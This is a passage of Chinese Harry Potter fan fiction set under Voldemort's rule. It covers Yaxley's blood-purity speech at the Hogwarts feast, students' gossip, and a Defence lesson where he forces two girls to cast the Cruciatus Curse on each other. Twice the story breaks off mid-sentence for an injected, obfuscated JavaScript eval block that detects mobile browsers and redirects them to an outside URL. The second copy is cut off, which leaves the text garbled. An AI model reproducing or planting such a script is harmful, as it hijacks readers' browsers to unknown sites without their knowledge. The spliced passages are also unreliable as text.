“《预言家日报》说的是她偷偷包庇麻瓜血统,给他们制造假的身份证明,使他们可以到霍格沃茨入学。”拉尼说,“她应该已经这么做好多年了,但魔法部到现在只查到一两个学生。毕竟这种事要一个一个查也太困难了。” “所以她现在是……” “没有人知道,也许她藏起来了。”拉尼把嗓门压得更低,“我希望他们永远找不到她。” 就在这时,两个人穿过礼堂,走向教工席。最中间的是校长斯内普,脸色蜡黄,头发油腻,一身黑袍在身后飘飞。他旁边跟着的是一个满脸凶相的中年男人,个子比他高大些。他身上裹着一件过于华丽的银丝长袍,看上去趾高气昂,好像恨不得把自己的古灵阁存款数写个牌子挂在胸前供人瞻仰似的。 “那是谁?”希娜问,“他们终于想起来那个每年换一个黑魔法防御术教师的传统了吗?” 前几年他们的黑魔法防御术都是由斯内普教授,这是从他们这一届入学开始的。没有人知道他为什么身为校长还要赶走卡罗兄妹亲自教学,据说这是源于他在邓布利多时期就有的某种执念。总之,这大概也是霍格沃茨最近几十年黑魔法防御术教师连续就职时间最长的纪录了。 “我认得他。那是亚克斯利,一个食死徒。”拉尼见多识广地说。 “听着有点吓人。”芬恩在他旁边缩了缩脖子,“你们觉得他杀不杀人?” “怎么现在还会有食死徒来霍格沃茨?”他们年段一个名叫乔纳森·马克罗的男生皱着眉头问道,他一头红发,鼻梁上架着副眼镜,“我记得上一次有这种事还是在我们入学之前。” “我不喜欢他。”艾克索皱着鼻子,把嘴凑到柏妮丝耳边说,“他把自己打扮得跟棵圣诞树似的。”柏妮丝偷偷笑起来。 斯内普走到校长席上站定,给自己施了个声音洪亮咒。 “肃静。”他用他一贯的那种拖腔拖调的声音说。学生们的交谈声终于渐渐停下。 首先开始的是分院仪式。小巫师们被一个金发中年妇女——大概也是麻瓜血统——领进礼堂,一个个上台戴上分院帽,又在缺乏热情的掌声中到各学院的长桌前坐下。这个仪式向来由麦格教授主持,但今年斯内普不得不亲自上阵了。他无意拖延时间,再加上这几年的新生越来越少,分院帽很快就宣读完了所有新生归属的学院。然后,斯内普开始宣读今年的通知。 “在晚餐开始之前,我需要向你们通知几件事。”从语气来看,这位校长并不比绝大部分学生更喜欢这种环节,“第一,我要向你们介绍你们今年的黑魔法防御术教师——科班·亚克斯利教授。” 学生们以一种机械的节奏鼓起了掌。只有斯莱特林的几个纯血统特别热情,大概是家里本就跟他有关系。那棵“圣诞树”——也就是亚克斯利——趁机神气活现地踱到斯内普前面,打断了他。 “很高兴见到你们,霍格沃茨的同学们。”他的声音比斯内普还要引人生厌得多,这其实挺惊人的,“你们中的很多人也许没有见过我,因为我一直在魔法部工作。今年,我遵从魔法部的要求和黑魔王的指示,来到霍格沃茨——这所人们眼中的高级魔法学府。到现在为止,我要告诉你们的第一件事是,我很失望。” “谁在乎你?愚蠢的青蛙。”艾克索嘟囔。 “青蛙”这个词一直不知何故被艾克索当作侮辱性词汇使用,但无论如何,亚克斯利显然没有听见这句咒骂。他继续说了下去。 “不懂规矩,组织懒散,缺乏对教师、对高贵血统应有的尊重——这就是你们这些霍格沃茨的学生给我的第一印象。这是非常不应该的,考虑到你们拥有良好的血统和优质的教育资源。也许你们认为这无关紧要,但事实绝非如此。 “你们都知道,自从黑魔王从从前那个混乱、昏庸的魔法部手里接手英国巫师界,并开始进行他英明而高效的改革起,他就一直在强调血统纯洁的重要性。血统是决定一个巫师个人素质的最根本的因素。重视优秀血统就是重视巫师界的未来,尊重优秀血统就是尊重巫师界的未来——相信在座的各位都认可这一点。如果黑魔王知道如今霍格沃茨的学生见到纯血统人士竟然不懂得要主动起立并问好,他也会非常失望。 “你们的校长斯内普教授和我是老朋友了,”好吧,至少斯内普嘴角的抽搐告诉他们他不是这么想的,“我知道他的性格。我常对他说,一直以来他对待学生都太温和了。在我看来,虽说正确的行为的确应该得到嘉奖,但对于错误的那些,也该采取更为严厉的手段。你们中的每一个人都是优秀的巫师。我相信,只要加以正确的引导,让你们成为思想更纯正、行为更得体的人才是不困难的。 “今年早些时候,也就是在这里,魔法部得知了一项关于血统的,极大、极恶劣的丑闻。详细内容我就不赘述了,相信你们都清楚。”柏妮丝现在知道了,他说的是麦格教授的事,“我一直坚信这只是极个别人的问题,希望接下来你们的表现不要让我认为是霍格沃茨这块土壤出了问题。与低等血统划清界限,同时对高等血统更加尊重,这才是一个合格的巫师应有的觉悟……” “好了,让我们感谢亚克斯利教授的致辞。”斯内普以一种明显不耐烦的语气说道,学生们立刻如释重负地鼓起掌来,看来他们已经开始怀念只要听几句通知就能吃晚餐的时光了。斯内普看起来似乎被这一点取悦到了,他意有所指地用柔滑的语调继续道:“我相信,在接下来的时间里,你们会相处得相当愉快。” 他很快说完了接下来的几句通知——基本上也就是先前的那封信上提到的那些,外加因为一时半会儿找不到新的变形术教师,这学期开始他会负责变形术的教学。其间亚克斯利看上去几次想要继续自己那高谈阔论的演讲,但斯内普再也没有给他任何一个长到足够他打断自己的停顿。 “现在,在晚餐开始前,还有最后一件事。”他最终说道,所有人都知道他要说什么,“我要你们所有人起立,将右手放在左胸前,向黑魔王宣誓。” 四条长桌旁边的人纷纷站起身来,照着他的要求摆好宣誓的动作。偌大的礼堂里一时间充满了椅子挪动发出的噪音。 “我郑重宣誓——我将永远效忠于伟大的黑魔王大人,为一个更加纯洁、光明的巫师界而终生奋斗。” 学生们心不在焉地跟着他将誓词念了一遍,然后他宣布晚餐开始,菜肴开始出现在碟子上。从这时候开始,就不再有人把注意力放在教工长桌上了。 “要我说,这学期可要有意思了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15039688|162458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”希娜在对第一个约克郡布丁下嘴前最后说道,“他们两个站在一起就是一台好戏。” —— 霍格沃茨厨房里的小精灵从来没有亏待过学生的胃,今天的晚餐和以往的每一次一样棒,而且依旧不限量。到晚上八点,大部分人都准备离开了——其中部分是因为他们身上还湿着——格兰芬多长桌边只有戈多还在往嘴里塞最后一个鸡腿,拉尼和海莉则在不远处说悄悄话。 柏妮丝、希娜和文森特从礼堂里出来时,全身上下还残存着南瓜汁带来的暖意。由于那个防水咒,他们对于热水澡倒是没有那么迫切,但也很愿意躺到宿舍的四柱床上好好休息一下。更何况他们的行李都还在箱子里等着他们收拾。那可是项大工程。 “你们知道我现在在想什么吗?”希娜问。 “不知道。”文森特心不在焉地应道。 “这种时候你应该回答:‘你在想什么?’” “好吧。所以你在想什么?” “我在想斯内普和亚克斯利到哪儿去了。”希娜说,“真奇怪,晚宴还没结束他们就离开了。” “其实没那么奇怪。至少斯内普看起来就对晚宴这种东西不太热衷。”文森特耸耸肩,“也可能是什么食死徒间的谈话之类的。” “但这才第一天!他们有什么可谈的?” “比如钻心咒跟什么恶咒搭配效果最好?” 希娜被噎了一下。 “好吧。”她吐出一口气,“这说得通。” 他们又插科打诨地互相辩论了一会儿。柏妮丝走在他们中间,没有完全参与对话,但依然感觉心情一点点轻松起来。这种感觉一直持续到他们即将经过一个拐角的时候——文森特突然停住嘴,并把两个女孩都拦住了。 “等一等。”他开口拦截住其他两人即将脱口而出的疑问,“有人在说话。” 他们三个于是轻手轻脚地往前蹭了几步,贴在拐角处的墙上,仔细听着那一头的动静。很快,亚克斯利的声音就传了过来,他听起来很恼火。 “……我不明白,西弗勒斯。我以为昨天我到达后的晚宴上我们就已经说清楚了……” “哦,是吗?”斯内普不屑的声音响起,“很抱歉,恐怕我把那当成了喝了太多火焰威士忌之后的胡言乱语。” “为什么?难道你就那么情愿看到那些血统不干净的贱种骑着扫帚,神气活现地飞来飞去?”亚克斯利停顿了一下,然后他的声音变得恶毒,“噢,我明白了,混血统间的互相怜惜……我想我会将这禀报给魔法部的,西弗勒斯。” 墙角的三个人悄悄地对视了一下。 “没必要用魔法部来压我,亚克斯利。我没在这里看见卢修斯·马尔福的影子。”斯内普慢条斯理地说,“我只看到了你,站在这里,要求取消所有的魁地奇训练和赛事……” “那就是我的意思!”亚克斯利咆哮。 斯内普没理会他的打断,只是继续:“……而且显然没有动过脑子。” “什么?”亚克斯利一下子忘了回嘴。 “好好想想,亚克斯利。这里,以防你忘记了,是聚集了全英国所有青少年巫师的魔法学校,不是你所谓的‘血统不干净的贱种’的联欢会。”斯内普重复那个称呼时就好像每个字都被打磨抛光过,“这里有来自二十八圣族的孩子,甚至有外国纯血贵族的子女——我不认为让他们的父母知道霍格沃茨对学生的警戒心理已经强到认为有必要取消他们的所有娱乐活动有什么好处。而倘若他们不满意了,我很怀疑你有没有能力应付他们的怒火。坦率地说,你心血来潮的建议唯一的作用就是给我们所有人招惹麻烦。” “但是——” “如果你要去禀报魔法部,尽管去好了。”斯内普没有留给他继续往下说的时间,“我毫不怀疑黑魔王一定会……以你为傲。” 他用一种非常微妙的语气吐出那最后几个字,然后好像只是一瞬间,他已经离开了亚克斯利,朝柏妮丝三人的方向走过来,而他们甚至来不及想出一个合理的借口。他绝对看到了他们,但令人意外的是,他只是微微皱了一下眉头,然后就离开了,连头都没有回。不远处,亚克斯利正骂骂咧咧地朝相反的方向走去。他们惊出一身冷汗,半晌缓过劲来,往各自的宿舍去了。 —— 一直到坐在宿舍的四柱床上时,柏妮丝都依旧在和希娜讨论她们和文森特在走廊上听到的内容。莫娜从浴室里走出来,穿着睡衣,正用一条毛巾擦着她刚洗过的红棕色头发。 “啊,你们回来了。我前面还以为到宵禁前我都要一个人待在这儿了呢。”她高兴地说,“你们在聊什么?” 希娜简要地把他们三个如何听见了亚克斯利和斯内普的争执跟她说了一遍。 “听起来确实有点古怪。”莫娜评论道,“但无论如何,我们的比赛保住了,对吧?” “是啊。说到这个,”希娜转头看向她,“我们队的新队员选拔什么时候开始来着?” “可能两个星期之后吧。”莫娜随意地说,“回头我们问问克里斯就知道了。” 她们俩都是魁地奇校队的成员,希娜是找球手,莫娜是追球手,克里斯——也就是克里斯托弗·厄多博德,一个七年级男生——是他们的守门员兼队长。她们都认识的人里,还有乔纳森是追球手,艾克索是击球手。剩下的两个队员——另外一名击球手和第三名追球手——柏妮丝就不太记得名字了。 她们两个又聊了会儿魁地奇的事,柏妮丝对魔法体育运动一窍不通,在边上埋头叠衣服,塞进四柱床底下施了空间扩展咒的抽屉里。她自己带了一些小的收纳盒,以便把不同的衣服分别装起来。同时,她的思绪又飘回了走廊上的那场争执。 所以——亚克斯利主张取消魁地奇赛,而斯内普不同意?从他们听到的那些话来看,总体情况就是这样。斯内普给出的理由完全说得通,但她还是感觉怪怪的,虽说她也不知道为什么。她还想再往下深究,但就在这时,宿舍门又一次被人打开,海莉容光焕发地走了进来。她的耳朵上赫然多出了一对闪闪发光的蓝宝石耳钉。 “晚上好,公主。”莫娜笑嘻嘻地说,“耳钉不错。” “这是拉尼送给我的,他说它们很配我的蓝眼睛。”海莉骄傲地说。 “它们很漂亮。”柏妮丝礼貌地说。她看得出海莉就是在等待一句称赞的话。 “说起拉尼……我前面在礼堂还在问莫娜来着,”希娜坐在床上,身子往前倾,“你们到底是怎么一回事?” 海莉煞有介事地清了清嗓子。 “我们在一起了。”她宣布,“暑假的时候,他约我出去,然后我答应了他。” “就这样?”希娜挑起眉毛。 海莉的脸颊一下子涨得通红。“这件事其实挺复杂的。”她不自在地用手整了整耳朵边并不存在的乱发,“上个学期的时候,我就对他……有点感觉。不过表白的是他。” “啊——哈。看来我们美丽高贵又纯洁的罗森伯公主就这么被外边的野小子拐走咯——”莫娜三两下窜到海莉旁边,揽着她的肩膀,假模假样地擦了擦眼泪,“唉,真是令人心痛啊。” “别犯傻。”海莉笑着搡了搡她,但没使多大力气。 “说真的,海莉,我觉得你该多长几个心眼。”莫娜继续用歌唱般的语调说道,“你可是个大美女,又情窦初开,可得小心那些讨好你的花花公子。人家说不定有好几个你这样的女朋友呢。” “你别说,还真有可能。”希娜一边钻进被子里,一边若有所思地应和道,明显是为了煽风点火,“我看拉尼平日里也有点儿轻浮……” “我觉得他挺真诚的。”柏妮丝说。 “好啦,姑娘,我们几个里就你最天真了。你没有发言权。”莫娜说着,从海莉床上下来,路过柏妮丝的时候拍了拍她的头顶,“时候也不早了,我看对拉尼·里奇曼那家伙的评分就等明天再定吧。” 这个话题终于宣告了终结。她们各自爬进自己的四柱床的被窝里,互道晚安,拉上了帷帐。柏妮丝本来还想再思考一会儿斯内普的事,但小精灵们实在把被窝烤得太暖和了。没一会儿,她就陷入了睡梦中。 (TBC) 3. 钻心剜骨 Chapter 03 - Crucio 出乎意料的是,开学的第一个星期很快就在平静中度过了——至少对于一个教工队伍中有不止一个食死徒的学校来说,相当平静。 在新内容加入后,魔法史课受到了来自更多学生的厌烦。虽说在此之前,宾斯教授那比摇篮曲更催眠的嗓音就令许多人对这门学科提不起兴趣,但至少你可以说,课本中的那些战争和改革运动还是相当引人入胜的。但英国巫师现代史就不同了:比起历史,它更像是在教授某种语言的艺术——使学生们学会如何以最华丽的辞藻和最空洞的内涵赞美黑魔王大人。即使期末考试题是“写出黑魔王大人的一百件英雄事迹”,他们也不会惊讶的。而且,还有一个因素让这件事变得甚至更糟,那就是亚克斯利。 为了确保授课正常进行,魔法史教室被施了特殊的屏蔽咒语,可以使教师和学生自由地说出那些禁忌的名字和词汇而不触发那个覆盖全国的检测咒。好像是担心宾斯教授会借此机会篡改课本内容似的,从第一节英国魔法现代史开始,亚克斯利就总是坐在教室的最后面听课。而且他不仅要听,还要提出意见。 “自1961年起,”宾斯教授用他那苍老而缓慢的嗓音念道,“黑魔王大人率领食死徒……” “是‘圣明的’黑魔王大人率领‘英勇无畏的’食死徒。”亚克斯利不满地纠正道。 宾斯教授抬头看了他一眼,有点不耐烦地改口道:“圣明的黑魔王大人率领英勇无畏的食死徒,开始了对白巫师阿不思·邓布利多的反抗……” 亚克斯利又不高兴了,他响亮地“啧”了一声:“你应该说‘卑鄙邪恶的’白巫师阿不思·邓布利多。” 这样的对话差不多每隔五秒钟就会发生一次,而学生们甚至无法听宾斯教授说完一句完整的话。更糟的是,自从第一个学生因此被罚得进了医疗翼,上课睡觉就被证明是不可能的了——虽说在亚克斯利的大嗓门面前本来就没有人能睡着。 “他们就不能想个办法让他没法来上课吗?”周五的第一节魔药课上,希娜狠狠地用杵捣着舂臼里的圣甲虫,就好像那是亚克斯利的脸或者什么的,“也许我可以考虑做些唠叨汤掺进他的南瓜汁里。我宁可听他说些胡话。” “我不确定那是不是个好主意……”柏妮丝随口说着,盯着自己的坩埚,“奇怪,我把犰狳胆汁加进去了,可它的颜色好像不太对。” “是不是你第一次忘记加了?”希娜探过脑袋,“一共要加两次。第一次是在加圣甲虫之前,第二次是在这之后。”她面前的那个坩埚正冒着泡——红色,和课本上描述的一模一样。柏妮丝突然意识到自己的魔药在刚加入圣甲虫时好像是深紫色的,但她当时没在意。 “不错的想法,劳里埃。”文森特在她的另一侧说道,一边气定神闲地搅动着自己坩埚里的那份魔药,“如果你事后需要有人把你装在火柴盒里送到圣芒戈,我很乐意效劳。” “听上去劳里埃想展现一下格兰芬多精神。”他们身后响起一个男孩的声音,柏妮丝转过头,看见是斯莱特林的阿尔诺·波普勒希尔,也就是希娜曾在火车上提到的伊芙琳的那个“纯血朋友”。他的朋友欧德斯·罗兰和苏珊·库珀——好吧,还有伊芙琳——像往常一样坐在他的身边。 “不用担心被发现,劳里埃。”他的语气让你很难分辨他到底是有意冒犯你还是只是把握不好开玩笑的限度,“你的斯莱特林男朋友不会因此离开你的。” “管好你自己的事,波普勒希尔。”从文森特的神情很难看出他已经发火了,但柏妮丝知道,他是不能容忍被卷入任何与爱情有关的话题的,而把他最好的朋友之一假定成他的恋爱对象绝对属于这一范畴。 “我的感情生活还不是你最需要操心的事,亲爱的。”希娜貌似愉快地说,很快完成了最后一步——顺时针搅拌魔药直到它变成完美的黄色,“我很担心你朋友罗兰的这锅增智剂会不会把人的智商降到巨怪水准——我是说,如果它不会毒死饮用者的话。因为我从来不知道会有哪种失误让它变成粉红色,而且还会发出,呃,臭袜子的味道。” 阿尔诺的神色并不像是被这句回敬激怒了。他还想说什么,但斯拉格霍恩开始检查所有人的魔药制作进度,他们只好都把注意力转移到自己的坩埚上。 斯拉格霍恩教授挺着滚圆的肚子,笑眯眯地从一排排学生之间走过,时不时给出几句评价:“啊,特拉弗斯先生,你的姜也许加得太多了……戈多先生,你的魔药看起来有点偏绿,而且太稠了——大概是加犰狳胆汁的时机掌握得不够好……福利小姐,你的魔药看上去缺了些火候……啊呀,罗兰先生!你是不是不小心让什么别的东西掉进坩埚里去了?我从没见过粉红色的增智剂……” 他很快就来到了柏妮丝他们所在的这一排。柏妮丝注意到希娜略微挺直了身子——在这间教室里,还没有人的增智剂做得比她更好。她在魔药学上相当有天赋,可惜在前三年里斯拉格霍恩教授并没有夸奖过她。 斯拉格霍恩一一看过他们的坩埚:“阿彻尔先生做得还算好,不过太稀了点,恐怕药效不够长……布瑞南小姐,你在酿药水的时候肯定分心了——忘记加犰狳胆汁了对吧?噢……劳里埃小姐……”他在看到希娜的魔药时明显停顿了一下,脸上的表情微妙地一动。但他很快吞咽了一下,仿佛把剩下的话咽回了肚子里,然后转身去看下一个学生了——速度比他来的时候要快得多。 希娜的脊背不再像刚才那样刻意挺直了。“没关系,他都是这样。也许我跟他就是不太投缘呢。”她笑着摆了摆手,对柏妮丝说,但柏妮丝看得出她有些失望。就在这时,下课铃声响了。希娜一下子站了起来,丢下一句“我要去魁地奇训练了”,就转身离开了教室。 “今天你们理论上没办法训练。那个格林格拉斯今天早上在公共休息室说他们一整天都包场了。”文森特边收拾坩埚边说,“她应该知道这个才对。” “也许她只是想找个理由一个人静静。这种事无论谁经历了都不会高兴的。”柏妮丝轻叹一声,挥了挥魔杖,她那锅失败的魔药一下子消失了,“真不知道斯拉格霍恩教授为什么不肯承认她做得好……” 他们两个收好了所有东西,一起走出教室。他们打算在晚饭前先去图书馆写变形课论文——虽然换了个学科,但斯内普依然一如既往地将课后作业设计得相当困难,他大概从一开始就在期待在学生的作业上写下字母“D”的那个时刻。但就在这时,又一个熟悉的声音响了起来。 “柏妮丝!”她闻声回头,只见艾克索正风风火火跑过来,“哎呀,你来得正好,我刚才还担心要迟到呢。你可以帮我把我的书包带到公共休息室去吗?随便放在哪张椅子上就行,我晚上自己去拿。万分感谢!” 她像连珠炮似的说完这一大串话,同时把一个破破烂烂的大书包往柏妮丝怀里一推,看上去根本没打算给她留拒绝的余地。 “你要去哪?”柏妮丝摸不着头脑地问。 “训练!”艾克索言简意赅地说,将校袍也脱下来塞进她手里。 训练?柏妮丝更疑惑了——难道他们真的都不知道今天场地被斯莱特林队承包的事吗?可是这不应该啊,厄多博德向来最会确保万事无误,他不可能连球场使用情况都没了解过就组织训练。 她还想再问两句,但还没等她发出一个音节,比棘手的变形课作业或不存在的魁地奇训练更值得担忧的事情就出现了。 “艾克索,你的仪容仪表是怎么回事?还有布瑞南小姐,你也不要走。”塞德汀·埃德里安像个幽灵似的从不知哪个角落里飘了出来。那枚级长徽章在她胸前耀武扬威地闪闪发亮。 艾克索的脸在一瞬间变成了惊人的绿色。她迅速低头,看见自己身上那没系好的领带、开了两个扣子的领口,还有没塞进裤子里的衬衫下摆。 “非常遗憾,格兰芬多扣十五分。”塞德汀的目光移向柏妮丝,语气里完全听不出她有哪里“遗憾”,“除此以外,布瑞南小姐,由于你作为她同学院的学生没能尽到提醒的义务,格兰芬多再扣五分。” 一共二十分。 “我操。”艾克索瞠目结舌地说,“你他妈就是个小号版的西弗勒斯·斯内普。” “艾克索用语粗俗,顶撞级长。另扣二十分。”塞德汀就像是早有准备一样从容地说道,然后得意洋洋地转身离去,不一会儿又不见了。 有好一会儿,没人说话。柏妮丝感觉好像半空中有道闪电击中了自己。她们在两分钟内给格兰芬多连扣四十分。要是今年没拿到学院杯,下学期他们可能要被同学记恨一整年了。艾克索显然在想和她差不多的事,因为她甚至连那个即将迟到的魁地奇训练——姑且不管它到底存不存在吧——都暂时忘记了。就连文森特都不知道该说些什么,因为塞德汀的怨念至少有一半都是冲着他在火车上的那句话来的。 最后,还是艾克索打破了寂静。她凝视着塞德汀离去的方向,缓缓地说:“你们猜怎么着?我决定了,从今天开始,我要认真学习变形术——即使斯内普要为此奚落我十万次也无所谓。” 柏妮丝疑惑地望向她。 “我他妈要把塞德汀那只混蛋青蛙咒成一只马桶!”她咬牙切齿地说,“我要让她每天欣赏我的屁股,全心全意地亲吻它;然后等我按下冲水键——哎呀……” 她脸上露出一副相当神往的表情,然后终于想起了自己的正事,嘟嘟囔囔地跑了。 —— 第三个星期刚开头的时候,这学期的第二件大事发生了——《预言家日报》登载了九月份以来第二条食死徒的讣告。 “奥古斯特·卢克伍德。”希娜在图书馆里念出报纸上的那个名字,“有人认识他吗?” “我有点印象。”文森特说,他正在以令人钦佩的效率完成他的占卜课作业——也就是根据观测到的星象写出自己接下来一个月的运势,“他过去好像是神秘事务司的缄默人,凭借职务之便给神秘人传递了不少情报,立了挺大的功劳。怎么,死的是他?” “对。还是‘因公殉职’,跟先前那个麦克尼尔一模一样。”希娜说着,探过身子来看文森特的作业,她念道,“第十五天,破财;第十六天,可能会遭遇落水……我真不敢相信你还在报占卜课。我还以为你是最不相信特里劳妮那个老骗子的那类人呢。” “我信不信她和我报不报这门课没有关系。”文森特继续在羊皮纸上迅速地写着,甚至不需要停顿,“只要胡编乱造就能拿高分,这个才是重点。” “你高兴就好。”希娜悻悻地说,“我三年级的时候也报过这门课,还以为真的能预知未来呢。结果最后发现,她只是要我们对着茶杯和水晶球干瞪眼,再神神秘秘地编出些悲惨的故事来。而且她教室里的香薰味太浓了,熏得我头晕。就凭这两点,无论有多好拿分我也不要报她的课了。” 文森特随口应了一声,把话题转回去:“现在事实很明显了,就是有人在清算这帮食死徒。这些人可能是‘他们’,也可能不是。这一点先不做讨论。官方媒体还可以粉饰太平一段时间,但只要再死一两个人,他们应该就会透露更多真相了。毕竟再假装无事发生也没什么意义,公众都记着呢。” “如果那些人的目的是反抗食死徒阵营的统治,你觉得他们成功的可能性有多大?”柏妮丝问,“在神秘人已经完全掌控英国巫师界的情况下……” “如果他真的已经‘完全掌控’英国巫师界,我们就不可能还能够坐在这儿讨论这些了。”文森特镇定地说,“而且,有很多事是我们看不到的。也许他们在背后做了更多的行动,并且对于实现目标比我们想象中的更有把握。” “嗯,他的意思是拯救英国巫师界这种事交给感兴趣的人就行,他只想安安心心地瞎编他的占卜课作业。”希娜总结道,“嘿,文森特,你为什么不把这些写进你的作业里?万一猜准了,你的期末考不拿‘O’都难——甚至更好,你会青史留名的。” “得了吧,劳里埃。”文森特讽刺地撇了撇嘴,“做预言也得不违反《2000年英国巫师宪法》第一条才行。我还没那么渴望被傲罗抓走。” 霍格沃茨是个很难被外部环境影响的地方,这条新闻在学生之间流传了一阵,也逐渐悄无声息。无事发生的日子一直持续到了十月,然后被亚克斯利的黑魔法防御课打破了。 —— 在最初的一个月里,亚克斯利没有给他们上过任何一节真正的黑魔法防御术课。他花了十几节课的时间向学生们吹嘘他是如何在黑魔王手下取得现在的地位的。有好几次,他相当详细地给他们描述他在两次战争期间是怎样折磨那些麻瓜和麻瓜血统的,他们又是怎样在钻心咒下痛苦地扭动、尖叫,直至死去。听着这些事,许多人的脸色都有些发青。女孩们惊恐地缩在一处,生怕自己被他注意到。更糟糕的是,亚克斯利似乎对他们这样的反应相当满意——因为他在注意到学生们的恐惧后讲得更起劲了,提到的细节也越来越血腥和露骨。 在此期间,柏妮丝一直尽可能保持镇定,假装他的叙述没有唤起某些遥远而糟糕的回忆,她也没有因此感到自己随时都可能呕吐。但她的伪装显然不够成功,因为希娜每次都会悄悄地伸出一只手将她的手握住,其中的安抚意味不言自明。 但无论如何,当亚克斯利在十月份的第一节黑魔法防御课上宣布要让他们学习巫师决斗时,柏妮丝很快开始怀念听他讲那些恐怖的故事的时光了。 “提到黑魔法防御术,你们想到的大多是怎样避免黑魔法生物的袭击,或者怎样对付一些不痛不痒的小恶咒。在我看来,这些内容全都过时了。”他说着,整了整那身过于奢华的长袍,不怀好意地笑着扫视底下的一张张面孔,“从今天开始,我要让你们像那些合格的黑魔王的部下一样互相战斗——用一些真正的手段。” 大概是为了贪图方便,从这学期开始,黑魔法防御术课变成了四个学院两两组合上课,其中和格兰芬多一起的是赫奇帕奇。这时候,两个学院的学生正各自挤成尽可能紧密的一团。格兰芬多的男生们自发地站在前面,把女生挡在身后。拉尼正压低了声音向面色苍白的海莉说些“一定不会让你出事的”之类的话,虽然语气并不像他希望的那么有说服力。 “好了,让我来看看——该让谁来做这个示范呢?” 亚克斯利愉快地说着,拿出点名册。教室里更安静了,一种强烈的不安在学生之间弥漫开来。 “安吉丽娜·古德曼。”他缓缓念出第一个名字。 赫奇帕奇的队伍里顿时出现了一片小小的骚动。学生们往两边散开,露出一个茶色短发、戴圆框眼镜的女孩——她的眼里闪烁着惊恐,就像一只被猎枪指着的鹿。 “哎呀,真是个可爱的小妞儿。让我看看你的搭档是谁——噢,别担心,我会选个女孩;我不会让那些笨手笨脚的男孩糟践你的。”亚克斯利饶有趣味地再次翻开点名册,细细阅读起来。格兰芬多的男孩们徒劳地将姑娘们更紧地围在中间。好像过了很久很久,他才终于宣布了下一个名字。 “柏妮丝·布瑞南。” 那一刻,柏妮丝的脑子里一片空白。那感觉就像整个世界都在飞速远去——无论是教室的四壁、周围同学的目光,还是亚克斯利的说话声,似乎都在一瞬间消失了。她只能听见血液在她的血管里飞快地鼓动着,那声音一下下冲击着她的耳膜。等她缓过神来时,其他人都已经散开到了教室两侧。希娜站在人群最前面,两只手紧紧交叠着放在胸口,眼里满是担忧。 “好了,姑娘们。相信你们都迫不及待要给我们展示一场女人间的战斗了。”亚克斯利走到她们中间,咧嘴笑道,“你们要负责演示的咒语是钻心咒——把魔杖对准对方,念出‘钻心剜骨’。并不太难,对吧?不如就由你先来试试怎么样,布瑞南小姐?” 对面那个叫安吉丽娜的女孩的脸更白了,她看起来似乎随时都有可能昏过去。柏妮丝知道自己看起来很可能也是如此。亚克斯利在要求她们——两个十四岁的霍格沃茨学生——对彼此施不可饶恕咒,还把这件事说得像是一年级的孩子施“荧光闪烁”一样轻松愉快。她能从他的眼睛里看到恶意——她们中的一个倒在地上挣扎哭喊,另一个则因自己的所作所为而精神崩溃,他一定很期待看到这个。 柏妮丝的大脑飞速运转——她绝对不想对另一个人施钻心咒,比起这个她甚至更愿意自己挨一记阿瓦达索命。但是眼下的局面似乎很难找到一个替代方案。 一定有什么办法——一定有什么办法可以解决这个问题—— “布瑞南小姐?”亚克斯利拖长了声音,他现在没那么愉快了,“你听见我说的话了吗?” 柏妮丝强迫自己做了个深呼吸。 “我准备好了,教授。”她说。 亚克斯利闻言又露出了那种恶意的神情。他满意地大笑起来:“很好,布瑞南小姐!不愧是格兰芬多的学生!那么我数到三,你就施咒。三——” 她直直望着安吉丽娜·古德曼。女孩不易察觉地往后退了一步,那双美丽的棕色眼睛里露出了某种介于恳求与绝望之间的神情。 “二——” 她举起了魔杖,确保自己的手不要颤抖得太厉害。这时,她的心智仍然在左右摇摆;她能感受到两种意志同时撕扯着自己,她的道德和生存的欲望。她不敢确定自己的选择是否正确…… “一——” 无所谓了。 她又深吸一口气,克制住内心的恐慌,尽量不动声色地将魔杖的杖尖往左偏移—— “钻心剜骨!” 她的魔杖尖端射出一道红光。那光束以惊人的速度向前飞去,然后倏地擦过安吉丽娜的肩膀,带着爆裂声打在她身后的墙上,烧出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柏妮丝曾经有幸体验过钻心咒的滋味,但这并不意味着现在的她能忍受那种痛苦。剧烈的疼痛以惊人的效率涌进她的四肢百骸,在她的每根神经里奔涌翻腾。那感觉就像有人用一把尖刀将她的皮肤逐片剥下,把每块肌肉从骨头上扯下来,再用一种全新的方式拼接回去。她甚至没有意识到自己是什么时候倒在地上的。这具身体已经失去控制,再也不属于她自己了。她能感受到的只有痛苦,痛苦,以及更多的痛苦。 她花了很长时间才听见一阵尖锐刺耳的噪音——那是从她的黄铜喇叭里传出来的、代表她此时的思想的声音。 当咒语终于停止时,她已经无法辨别距离它开始过去了多久——像是几分钟,又像是一个世纪。她很惊讶自己还保持着清醒。然而她的身体依旧没有丝毫力气,她能感觉到有几处肌肉在不受控制地痉挛抽搐。 “柏妮丝——梅林,你还醒着吗?”希娜的声音响起,她看到红发女孩的脸出现在她的上方,于是微弱地点了点头作为回应,“太好了。我们马上把你送到医疗翼去,好吗?稍等一下,一下就好……” 柏妮丝感觉两三个人把自己从冰冷的地上扶了起来,然后才辨别出那是希娜、莫娜和乔纳森。乔纳森对于跟异性肢体接触的态度依旧保守,此后在一旁犹豫了好一会儿要不要再搭把手,但最后只是跟在她们身边,尽可能多地帮忙拿东西。两个女孩一左一右搀扶着她离开教室,往医疗翼的方向走去。这时她感觉清醒多了,也勉强有了说话的力气。但她的双脚对行走似乎还是相当陌生。 